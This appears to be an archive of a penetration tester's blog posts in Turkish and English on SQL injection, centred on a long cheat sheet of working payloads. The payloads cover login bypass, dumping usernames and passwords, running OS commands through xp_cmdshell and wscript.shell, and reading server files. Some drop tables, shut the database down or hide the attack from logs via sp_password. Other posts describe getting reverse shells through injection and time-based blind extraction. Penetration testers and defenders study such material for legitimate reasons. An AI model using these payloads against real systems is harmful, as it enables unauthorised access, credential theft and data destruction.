One Click Ownage

I’ve been keeping this under my desk for ages now. It’s been about 6 months since I came up with a practical exploitation of this idea and even developed an application to automate the scanning and exploitation process.

This attack is all about SQL Injection for lazy minds. One of the classical SQL Injection attacks in SQL Server – SA connections is obviously trying to get reverse shell from the target database. There are some ways to do it, like sending hundreds of requests or using PERL scripts, executables etc. I didn’t like the current approach and decided to find a better way to deal with it.

I think I came up with the holy grail of the this attack. One request to get a reverse shell, can’t get any better than that. You can copy paste it, you can stick it into an src attribute of an img tag to carry out a CSRF attack etc.

Bu Yazılar Kaçmaz
Netsparker Satışa Çıktı
Verimli Bilgi Takibi

Süper Makale ITUnderground 2009’ un Ardından

Konferanstan döneli bir kaç gün oldu. Konferansta gayet güzel sunumlar vardı. Benim çok aktif olmadığım bir konu olan Layer 2 güvenliği ile ilgili üç güzel sunum izledim. Pek ilgim olmadığından dolayı bir tanesi gayet bilinir bir konu olsa da gene de ben eğlendim. DTP, STP protokollerini kurcalama ve genel Vlan saldırıları ile ilgiliydi. Demoların bir çoğu güzeldi ve biraz daha derin bilgi almak keyifliydi.

Alexander Kornbrust' ın ORACLE SQL Injection prezentasyonu süperdi. Kesinlikle BSQL Hacker' a ORACLE ile ilgili template ve SQL Injection tespit güncellemesi yapacağım. Yılda ancak 2-3 ORACLE testi yaptığımdan o kısımda biraz paslıydım, bu sunum ve sunumdan sonra kendisi ile ettiğimiz muhabbetten sonra ORACLE' ın için kendimi hazır hissediyorum. Sunumun başları çok temel olduğundan ilk 30dk. sını atladım diyebilirim, ama ilk yarıdan sonrası harikaydı. Yeni bir şey yok ama konuyu en iyi şekilde aktarmayı başardı.

Ben One Click Ownage isimli bir sunum yaptım. Temel olarak bir tıkla SQL Server' dan reverse shell alma ya da benzer bir kod çalıştırmayı gösterdim. Bu önceden CSRF saldırıları ile SQL Server' ı exploit etme olanağı da sağlıyor. Her ne kadar bu nadir bir durum olsa da daha önceden bu tip bir şey mümkün olarak gözükmüyordu ve bu yöntem ile artık yapılabilir. Ek olara otomasyonuda çok kolay olan bir saldırı. Ben bir süredir kendi testlerimde kullanıyorum ve TFT/FTP vs. gibi aksiyonlara girmeden 20 sn. içerisinde reverse shell' e düşmek gerçekten keyifli bir durum.

Kendi sunumum ile ilgili kod, script ve uygulamaları yakında yayınlayacağım.

GROUP_CONCAT MySQL SQL Injection

Apparently GROUP_CONCAT() is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (global option, can't be set via an SQL Injection) which is not enough for one query sql-dump sorts of tricks.

However this simple query can be useful for enumerating tables and columns together in fewer requests:

  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

 

Output will be look like:

  • 'db>Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
  • 'help_category>help_category_id,name,parent_category_id,url'
  • 'help_keyword>help_keyword_id,name'

Damn! I should update SQL Injection Cheat Sheet and SQL Injection Wiki , lots to catch up...

Süper Makale BSQL Hacker Videosu

Başka projelerden dolayı BSQL Hacker ile pek ilgilenemedim ama inşallah önümüzdeki hafta içi ilk public betasını yayınlayacağım. "Niye hala beta?" diyebilirsiniz, sonuçta bu kodu yaklaşık 4,5 sene önce yazmaya başladım! Ama bir çok yenilik eklendi, çok geniş bir yapıya sahip. Ek olarak son versiyonda güçlü bir API desteği de var.

Aşağıdaki video SQL Injection Wizard' ını gösteriyor. Videoyu direk Vimeodan izlerseniz HD izleme şansınız olacak, o şekilde çok daha net.


BSQL Hacker Beta - Wizard Demo.

Şu an yaptığım iş yeni özellik eklmekten çok bugları temizleme ve tüm özelliklerin beklenildiği gibi çalıştığından emin olmaya çalışmak. Kodun çok eski olması, 8000+ satır olması ve tamamen hack & slash yazılım geliştirme yaptığımdan dolayı çok ciddi stabilite sorunları var. Buna rağmen şu an bulabileceğiniz en iyi SQL Injection araçlarından biri olduğunu düşünüyorum. Yani bir çok diğer aracın yapamadığı şeyleri yapabiliyor. Adam gibi yayınlayınca o konuların detaylarına ineceğim.

BSQL Hacker açık kaynak kodlu bir yazılım ve kodu Google Code üzerinden yayınlanacak.

Online Conversion Tool

This is a really simple Javascript based conversion tool. 

It can help you for :

  • SQL Injection
    • MS SQL Char
      "foo" will be "SELECT CHAR(102)+CHAR(111)+CHAR(111)"
    • MySQL CONCAT
      "foo" > "SELECT CONCAT(CHAR(102),CHAR(111),CHAR(111))"
    • MySQL Hex
      "foo" > "SELECT 0x666f6f"
  • XSS
    • String.fromCharCode()
      "foo" > "String.fromCharCode(102,111,111)"
  • Hashing
    • MD4
    • MD5
    • SHA-1
    • SHA256
  • Encoding
    • Base64
    • URL
    • JS Escape
    • HTML UTF-8
  • Decoding
    • Base64
    • URL
    • JS Escape

Also optionally output can be URL encoded.

SQL Tunnelling - Exploiting Internal Networks via SQL Injection

We had a chat with Sid of notsosecure.com about his idea of Exploiting Internal Networks with Oracle UTL_HTTP package. As soon as he mentioned about it I thought a clone of XSSTunnel for this purpose which can tunnel any HTTP traffic through SQL Injections. Just setup your browser to use this local proxy and hang around target system's internal network, fire WebInspect and nikto against it!

There is another potential issue in here where an attacker can bypass some restrictions by abusing the trust relations and this can lead interesting vulnerabilities. For example accessing local host  in the ORACLE server can lead you an interface where you can manage stuff without a password. Nico talked about a similar issue in his Having fun with PostgreSQL paper or accessing /trace.axd in a local web application to see trace information of website even though it configured to see this information for local users only.

Nowadays I'm bloody lazy, so I'm not planning to write such a tool (at least for the next couple of months), but it'd be nice if someone build it so we can play with it...

Türkçe SQL Injection Referansı

Bildiğiniz üzere büyük bir SQL Injection Cheat Sheet dokümanını sitede uzun zamandır sürdürüyorum, bugün bilgisayarda bazı dokümanları ararken 2005' ten kalma hazırladığım Türkçe SQL Injection referans dokümanını buldum. Tekrar sabit diskin karanlık sularına gömülmeden sitede yayınlamak istedim. Bunun harici ORACLE SQL Injection Cheat Sheet' i de daha önceden yayınlamıştım.

Ek olarak eğer SQL Injection hakkında yeterli bilginiz yoksa, daha önceden yazdığım SQL Injection Videoları ve Makalelerini okuyabilir ve izleyebilirsiniz.

  1. SQL Injection Derslerine Giriş
  2. SQL Injection' a Giriş ve SQL Injection Nedir?
  3. SQL Injection Videosu
  4. Başka bir kullanıcı olarak giriş yapma
  5. SQL Injection Test Laboratuarı Kurma
  6. SQL Injection neden dolayı oluşur ve Nasıl Korunulur?
  7. SQL Injection' dan Korunma Videosu

 

Bu da Türkçe SQL Injection Cheat Sheet' in online versiyonu. Bazı notları ingilizce almışım, kusura bakmayın o konuda.

SQL Injection için kısa referans

Ferruh Mavituna, 2005-06-10

Ön Bilgi

Bir çok teknik sadece SQL Server’ da çalışacaktır.

Referans

  1. “--“ SQL Cümleciğini sonlandırır (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)
  2. “;” İkinci SQL cümleciğinin çalışmasına izin verir

Login Screen

  1. Login olabilme
    • admin’ –
    • ‘ or 1=1—
    • ...
  2. Farklı bir kullanıcı olarka login olma
    • ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--

Hatalardan İlerleme (yapıyı oluşturma I)

Sırasıyla..

  1. ‘ having 1=1 –
  2. ‘ group by hatadangelen.id having 1=1—
  3. ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
  4. Hata almayı bitirince tablo bitti demektir.
  5. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir.
    • ORDER BY 1—
    • ORDER BY 2—

c. bu şekilde ilerlenir. Hata verdiği yer – 1 çekilen kolon sayısını gösterir.

Data Tiplerini Bulma (yapıyı oluşturma II)

  1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
  2. ‘ union select sum(tipibulunacakalan) from users
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  3. Hata kodu bize verdiğimiz alanin varchar olduğunu söyledi.
  4. Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir.
  5. Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
    • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
      No Error - Syntax is right. MS SQL Server Used. Proceeding.
    • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
      No Error – First column is an integer.
    • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
      Error! – Second column is not an integer.
    • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
      No Error – Second column is a string.
    • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
      Error! – Third column is not an integer. ...
  6. Convert ve Errorlar ile field tipi bulma - convert(image,1)
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
    • Microsoft OLE DB Provider for SQL Server error '80040e07'
      Explicit conversion from data type int to image is not allowed.
    • You’ll get convert() errors before union target errors ! So start with convert() then union

Data Ekleme

  • '; insert into users values( 666, 'attacker', 'foobar', 0xffff )—

Sistem Hakkında Bilgi Toplama

Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;

  • ' union select @@version,1,1,1--
    SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çalışılmalı ! )

Data Alma

  1. ' union select min(username),1,1,1 from users where username > 'admin'--
    Users tablosundaki username’ e integerlara uygulanan min() denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir.
  2. ' union select password,1,1,1 from users where username = 'admin'—
    Bir önceki işlemde bulduğu username i direk union ile getiriyor
  3. ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
  4. User defined Tables
    SELECT name FROM sysobjects WHERE xtype = ‘U’
  5. Field Getirme
    SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
  6. Record ilerletme
    WHERE users NOT IN (‘First User’, ‘Second User’)
  7. Record ilerletme 2
    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Advanced Yöntemler

T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.

set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

The attacker 'logs in' with this 'username' (all on one line, obviously…)

  1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
  2. ' union select ret,1,1,1 from foo--
    convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
  3. Teoriye göre eğer SQL Server Local System Account’ ı ile çalışıyorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
  4. Linked serverlarda query çalıştırılabilir (openquery)
  5. Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
  6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
    • create table foo( line varchar(8000) )
    • bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
    • Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
  7. Text dosyası yazma (BCP – Login bilgisi gerekli)
    bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
  8. “sa” olarak login olduk mu?
    if (select user) = 'sa' waitfor delay '0:0:5'
  9. ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
    wscript.shell example
    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
    Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
  10. SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
  11. Tırnak Kullanmadan SQL Yazmak
    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
    veya sadece numerik değerler ile data girilebilir

    insert into users values( 667, 123, 123, 0xffff)
    SQL Server integerları otomatik olarak varchar a çeviriyor.
  12. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Özel Tablolar

  1. Hata Mesajları
    select * from master..sysmessages
  2. Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullanıldıysa)
    master..sysservers
  3. Şifreler, Loginler
    master..sysxlogins

Tablo / Server Modifikasyon

  • Tablo Silme
    '; drop table foo--

Functions

  1. SQL Server’ ı kapa (shutdown)
    ‘; shutdown—
  2. Bekleme (waitfor delay)
    Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
    waitfor delay '0:0:10'—
    kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.

Atak Gizleme

SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.

SQL Injection Tespiti

Normalde SQL Injection basit şekilde tek tırnak (‘) vs. Koyarak çıkan hataya göre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.

Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (Snort gibi IDS lerde bu şekilde) status code larında “500” veya benzer hata kodlarını eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.

Bu noktada daha önceden bahsi geçen “waitfor delay” kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.

  1. product.asp?id=4
    • product.asp?id=5-1
    • product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    • product.asp?name=Bo’+’ok
    • product.asp?name=Bo’ || ’ok (ORACLE)
    • product.asp?name=Book’ OR ‘x’=’x

Stored Procedures

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry İşlemleri (xp_regread)
    Registry’ e yazma okuma vs. İşlemleri.
    • xp_regaddmultistring
    • xp_regdeletekey
    • xp_regdeletevalue
    • xp_regenumkeys
    • xp_regenumvalues
    • xp_regread
    • xp_regremovemultistring
    • xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
  3. Servisleri Kontrol Etmek (xp_servicecontrol)
  4. Sistemdeki Medyaları Görme (xp_availablemedia)
  5. Directory Tree sini alma (xp_dirtree)
  6. ODBC Resourceları Listeleme (xp_enumdsn)
  7. Login modeunu bulma (xp_loginconfig)
  8. Cab Arşiv Oluşturma (xp_makecab)
  9. Domainleri Bulma (xp_ntsec_enumdomains)
  10. PID ile process terminate etme (xp_terminate_process)
  11. Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  12. Stored Procedure Silme (sp_dropextendedproc)
  13. Dışarıya UNC dahil dosya yazma (sp_makewebtask)

Other

  • OleDB driver ile çalıştırılan SQL’ lerde union vs. Ler çalışmayabilir
  • Execute() ile çalıştırılanlar sağlamdır

MySQL Injection

  • After MySQL 4.0 you can “Union” queries
  • For SQL comments use /*mysql comment*/
  • Unions are just like SQL Server unions same fields, same types required
  • @@version is available, you can use it in unions
  • You can hex-encoded strings
    • select 'c:/boot.ini'
    • or
    • select 0x633a2f626f6f742e696e69
  • MySQL can load DLL and run arbitary code
  • Subqueries version 4.1+
  • MySQL Passwords
    • In versions prior to 4.1, the password hash can be used to
      authenticate directly with the database. Just recompile MySQL Client to login with hash.
    • Other versions use SHA1
    • SELECT User,Password FROM mysql.user;
    • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

MySQL (Custom) Functions & UDF

  • substring
    • query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing file)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

MySQL Samples

  UPDATE user
  SET Password=PASSWORD('crack')
  WHERE user='root';
  FLUSH PRIVILEGES;

MySQL Load_File

  • With unions you can read a file
  • query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data Infile

  • By default it’s not avaliable !
    • create table foo( line blob );
      load data infile 'c:/boot.ini' into table foo;
      select * from foo;

Timing & Blind MySQL Injection

  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
  • Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Stored Procedure Injection

  1. Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gönderiliyorsa bu güvenli değildir. Stored Procedure olsa bile.
  2. Eğer parametrelerde ADO Command gibi bir şeyler ile gönderiliyorsa ve doğru implemente edildiyse güvenlidir.
    sp_who '1' select * from sysobjects
    or
    sp_who '1'; select * from sysobjects

Second Order SQL Injection

Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL’ lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde.

  1. Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
    Username: admin'--
    Password: password
  2. Bu şu Insert’ i çalıştırır;
    insert into users values( 123, 'admin''--', 'password', 0xffff )
  3. Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
    Kontrol;
    var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
  4. Şifre Update işlemi;
    sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
    Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
    update users set password = 'password' where username = 'admin'--'
    Bu da admin şifresinin istenilen şifreye değiştirecektir.

Second Order Insert SQL Injection

Form dolurulurken şu şekilde doldurulur;

Name : ‘ + (SELECT TOP 1 password FROM users ) + ’

Email : xx@xx.com vs...

Notes
  • On Unions sometimes you have deal with page restrictions like FormatCurrency(), you shouldn’t supply NULL to FormatCurrency() function.

References

  • Advanced SQL Injection In SQL Applications, Chris Anley
  • Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
  • Hackproofing MySQL, Chris Anley

Rootkit Piyasada!

Yaklaşık 5 ay kadar önce Daha önceden Exploit Paketleri başlıklı yazımda bir rootkit' i kaba taslak analiz ettiğimi yazmıştım.

Bu aralar haberlerde bu rootkit var, demek ki benim yakaladığım ilk çıktığı zamanlarmış. BBC - Poisoned websites attack visitors ve Scansafe Blog. İlginç bir durum ve dediğim gibi ileri seviyede gelişmiş bir atak.

SQL Injection SubSelects and IF Statements

I found myself in a situation where I can't finis a SQL sentence properly because input was going to multiple different queries and it was not possible to find one injection which can end all of them properly.

To able to do some blind tricks I need to use a subselect with somekind of IF statement. Target was SQL Server so following query would be the ideal start:

SELECT Members WHERE user_id = 1 AND (IF (1=1) SELECT 1 ELSE SELECT 2)

Don't try it, it's not going to work because SQL Server doesn't support IF statemens in subselects. But it's strange you may use CASE statements in a subselect like this:

SELECT * FROM Members WHERE user_id = 1 AND 1=(select case when (1=1) then 1 end)

It's really interesting, also ice of SQLNinja pointed out that I can do bitwise tricks to emulate the same thing, that was something I missed. It's pretty cool because you may bypass couple of stupid IPS/IDS/WAF stuff. Here is an example to do similar thing with bitwise operators:

SELECT * FROM Members WHERE user_id = 1+((ascii('A'))&32)/32

My problem was, while automating these stuff my Blind SQL Injection framework didn't designed for bitwise tricks which means I need add a big chunk of code to support this. So I went with CASE thingy to exploit this.

This tricks will be in SQL Injection Cheat Sheet, also there are lots of other stuff that'll be in there. Wait for the next update.

Netcat, Reverse Shell ve Osql Sorunları

Geçen günlerde bir sistemde SQL Injection üzerinden reverse shell' e erişmiş çalışırken, SQL Server veritabanlarına erişmem gerekti. Bende konsoldan en basit şekilde erişim için osql.exe kullanmaya karar verdim. Reverse shell' in iki tarafında da netcat vardı.

Plan gayet klasikken, osql ile bir türlü veritabanına bağlanamadım. Aşağıdaki gibi bir kaç komut denedim :

osql.exe -E
osql.exe -E -S (local)

Ancak bir türlü çalışmadılar ve her seferinde shell' i düşürüp yeni bir tane almam gerekti. Önce bir şekilde SQL Server bağlantısının zaman aşımına uğradığını sandıysam da şunu yapmam ile olayı çözdüm:

osql.exe -E -Q "!! dir c:\"

Sorun barizdi. Osql interaktif bir konsol uygulaması ve bir şekilde netcat osql' in interaktif modu ile iyi anlaşmıyor. Normalde netcat FTP.exe gibi interaktif araçlarla çalışıyor. İşin altındaki yegane teknik nedeni henüz tam anlayabilmiş değilim, ama sanırım osql standard input ve output harici başka numaralar çeviriyor.

Özetle bir ders daha öğrenilmiş oldu. Bu testte benim tekrar tekrar reverse shell alma ihtimalim vardı ancak bazı exploitlerde sadece bir defa reverse shell' e erişebilirsiniz ve eğer onu bu şekilde batırırsanız, sonradan çok üzülürsünüz.

H-Security Labs

Türkiye de güvenlik siteleri konusunda ciddi sıkıntılar yaşamaktayız. Ara ara yeni siteler çıksa da hızla kayboluyorlar izlerini takip edemiyoruz. 

H-Security Labs, Türkçe ve gayet güzel içerikli ne yaptığını bilen yeni bir güvenlik sitesi. Açılalı çok olmamış ancak çok güzel makaleler şimdiden sitede yerini almış.

Özellikle WEP' in Zayıflıkları ve SQL Injection Serileri ilginizi çekebilir. Benim RSS okuyucumdaki yerlerini aldılar, sitenin her zaman bu formda kalmasını umuyoruz.

NTVMSNBC Hacklenmis

Etiketler sql injection, deface, hack, exploit, 08.11.2007

Bir önceki OSVDB hack haberinden sonra simdi gördüm ki NTVMSNBC sitesi de potansiyel olarak otomatik sekilde hacklenmis. (Aslinda etraftaki analizlere bakilirsa sadece hizli sekilde bir SQL Injection üzerinden hacklenmis)

Özetle bu saldirida saldirganlar siteleri kendi malware' larini yaymak için kullaniyor. Bu örnekte disaridan eklenilen Javascript dosyasi browserlardaki açiklari exploit edip malware yüklemeye çalisiyor.

WAITFOR DELAY saldırıları ve SQL Injection

SQL Injection ile ileri derecede haşır neşir olan ben son zamanlarda daha önceden farketmediğim bir şey farkettim. BSQL Hacker ile testler yaparken WAITFOR Delay ile yaptığım atakların yüksek paralel bağlantılarda hatalı sonuçlar verdiğini gördüm.

Bu sorun ile uğraşırken Database bağlantı katman limitlerinden birini daha görmüş oldum. WAITFOR DELAY veya benzeri ataklarda 60 saniyenin üzerine giden saldırılar genelde hata verecektir çünkü varsayılan olarak bir çok web dilinde script' in zaman aşımı süresi maksimum 90 saniyedir, ek olarak ikinci sorun ise database bağlantı katmanın zaman aşımı. Bu da genelde 60 saniye. Bu iki değerde sistemden sisteme ve konfigürasyondan konfigürasyona değişebilir.

Yeni farkettiğim olay ise Connection Pooling ile de ilişkili olan ama temel olarak database katmanının desteklediği aynı anda aktif maksimum bağlantı sayısı.

Bu neden ciddi bir sorun?

Çünkü, WAITFOR DELAY ve benzeri beklemeli saldırılardaki yavaşlığı server' a çok fazla bağlantı açarak kapamak genel teorik bir fkirdir. Yani multi-threading ile. Multi-Threading tabii ki çalışıyor ancak eğer 10-15 thread' ın yukarısına giderseniz sonuçlarınız hatalı olacak ve ek olarak hiç bir hız kazanmayacaksınız.

Dolayısıyla saldırının yapıldığı sistemin kullandığı veritabanı bağlantı ayarlarından daha fazla bağlantıyı aynı anda yapmak tamamen yanlış bir hareket. Dolayısıyıla güvenli olmak adına WAITFOR DELAY ve benzeri saldırılarda maksimum 10 paralel bağlantı kullanmak mantıklı bir hareket olacaktır.

IP Loglama Genel Bir Hata

Özellikle kaynak kod analizleri yaparken sık sık rastladığım hatalardan biri bu.

Güvenlik veya herhangi bir nedenden dolayı uygulamada IP adreslerini loglamak istiyorsunuz ancak potansiyel proxy adreslerini de loglayabilmek için HTTP_X_FORWARDED_FOR HTTP Header' ını da (veya benzer başka HTTP headerları) kullanıyorsunuz.

Bu güzel bir fikir çünkü bazı proxyler ziyaretçinin gerçek IP adresini bu HTTP Header(ları) içerisinde gönderiyorlar ama bu işlem yapılırken uygulanan çok yanlış bir model var.

Sık şekilde şu kod ile karşılışıyorum :

  1. IPADDRESS adresi değişkenini tanımla,
  2. HTTP_X_FORWARDED_FOR HTTP header' ı varsa IPADDRESS değişkenini HTTP_X_FORWARDED_FOR değerine eşitle
  3. Yoksa IPADDRESS değişkenini ziyaretçinin normal IP adresine eşitle.
  4. IPADDRESS' ini veritabanına vs. kaydet.

Sanırım herkes sorunu anladı bile. Normal bir ziyaretçi olarak server' a kıçınızdan uydurduğunuz IP adreslerini HTTP_X_FORWARDED_FOR HTTP Header' ı içerisinde gönderebilir ve gerçek IP adresinizin loglanmasını engelleyebilirsiniz.

Bazı programcılar bu datanın her zaman geçerli IP adresi döndüreceğini düşünüp bu datayı veritabanına gönderirken filtreleme / kontrol yapmayı da ihmal edebilirler. Tabii ki bu da SQL Injection açığına neden olabilir.

Zaman Tabanlı Full-Blind SQL Injection

Full Blind SQL Injection (çıktıda hiç değişiklik oluşturmayan SQL Injectionlar) popüler konularımızdan biri. Her ne kadar MySQL, ORACLE, SQL Server, PostgreSQL de rahatça takılabilsekte  MS Access gibi acayip ve genelde tırt veritabanlarına gelince takılıyoruz.

Çünkü genelde çoğu veritabanı, SLEEP ya da WAITFOR DELAY gibi fonksiyonlar ile zaman tabanlı ataklar yapmamızı sağlarken MS Access gibi veritabanlarında bu imkanımız yok.

Diğer bir örnek ise MySQL ve BENCHMARK. MySQL zaman tabanlı SQL Injection atakları yapmak için BENCHMARK' ı kullanabiliyoruz ve basitçe veritabanında uzun süren herhangi bir iş yapıyor ve çıktının kaç saniyede üretildiğine bakıp açığı exploit edebiliyoruz.

Chema Alonso BENCHMARK yerine çok uzun sürecek SQL queryleri çalıştırarak her veritabanında çalışabilecek bir zaman tabanlı SQL Injection yöntemi geliştirmiş.

http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

BENCHMARK ya da bu yöntem şiddetle kaçınılmalı ve SQL Injectionlarda en son yöntem olarak başvurulmalı. Nedeni basit, serverın CPU' sunu aşırı derecede harcamış olacaksınız. Dolayısıyla server cevap vermeyebilir ya da ilginç hatalar almaya başlabilirsiniz.

İkinci bir hatırlatma bu tarz uzun süreli işlemler ile SQL Injection yaparken bariz nedenlerden dolayı multi-threading  mümkün değildir, yaparsanızda sonuçlarınız yanlış olabilir.

BSQL ve SQL Injection Haberleri

Bazılarınızın bildiği gibi son zamanlar özellikle SQL Injection' ları exploit etmek için BSQL Hacker isimli bir program üzerinde çalışıyorum. Program özellikle Blind SQL Injection' lar üzerine yoğunlaşmış durumda.

Bu aralar bu programı geliştirmekle, Enemy Terriority Quake Wars ile uğraşmakla ve Ramazanın getirdiği ekstra yorgunlukla siteye pek elleyemedim.

